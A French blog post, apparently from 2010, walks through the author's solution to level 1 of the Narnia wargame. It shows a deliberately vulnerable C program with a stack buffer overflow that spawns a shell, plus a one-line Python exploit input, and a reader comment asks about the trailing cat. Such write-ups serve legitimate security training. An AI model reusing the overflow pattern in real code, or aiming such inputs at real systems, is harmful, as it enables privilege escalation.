dimanche 1 août 2010

[Wargame] Narnia at intruded.net : Level 1

Bonsoir!

Aujourd'hui j'ai eu l'occasion de jouer un peu aux wargame de www.intruded.net.
J'ai donc un peu toucher à Narnia et Behemoth ;).
Je vous présente donc ma solution pour le level1 de Narnia.

Le programme vulnérable :
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <stdlib.h>

int main(){
        long val=0x41414141;
        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);

        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef){
                seteuid(1002);
                system("/bin/sh");
        } else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }

        return 0;
}

Ce programme attend une entrée de 24 caractères (je vous dé-conseille vivement
d'utiliser scanf() pour vos entrées ... difficilement maitrisable au niveau de
l'input filtering).

Il faut savoir que scanf() et d'autres fonctions de la bibliothèques standard
prennent leur input dans un buffer, ici en occurrence le buffer d'entrée standard.
J'ai donc utilisé les pipes car bien plus utile pour rentrer des caractères non imprimables
tels que ceux utilisés pour 0xdeadbeef.

Le sploit :
(python -c 'print "A" * 20 + "\xef\xbe\xad\xde"' ; cat) | /wargame/level1

Le cat à la fin sert à éviter que le shell quitte et redonne la main au prompt.

Passons maintenant au level2 ;)

m_101

- link : <a href="http://www.intruded.net/narnia.html">Narnia</a>
- link : <a href="http://www.intruded.net/wglist.html">Wargames intruded</a>

1 commentaire :

  1. Joli.

    Je ne comprends pas pourquoi on a besoin du cat. System("/bin/sh") devrait garder la main non ? C'est bien le comportement de ce programme:

    int main(){
    system("/bin/sh");
    return 0;
    }

    RépondreSupprimer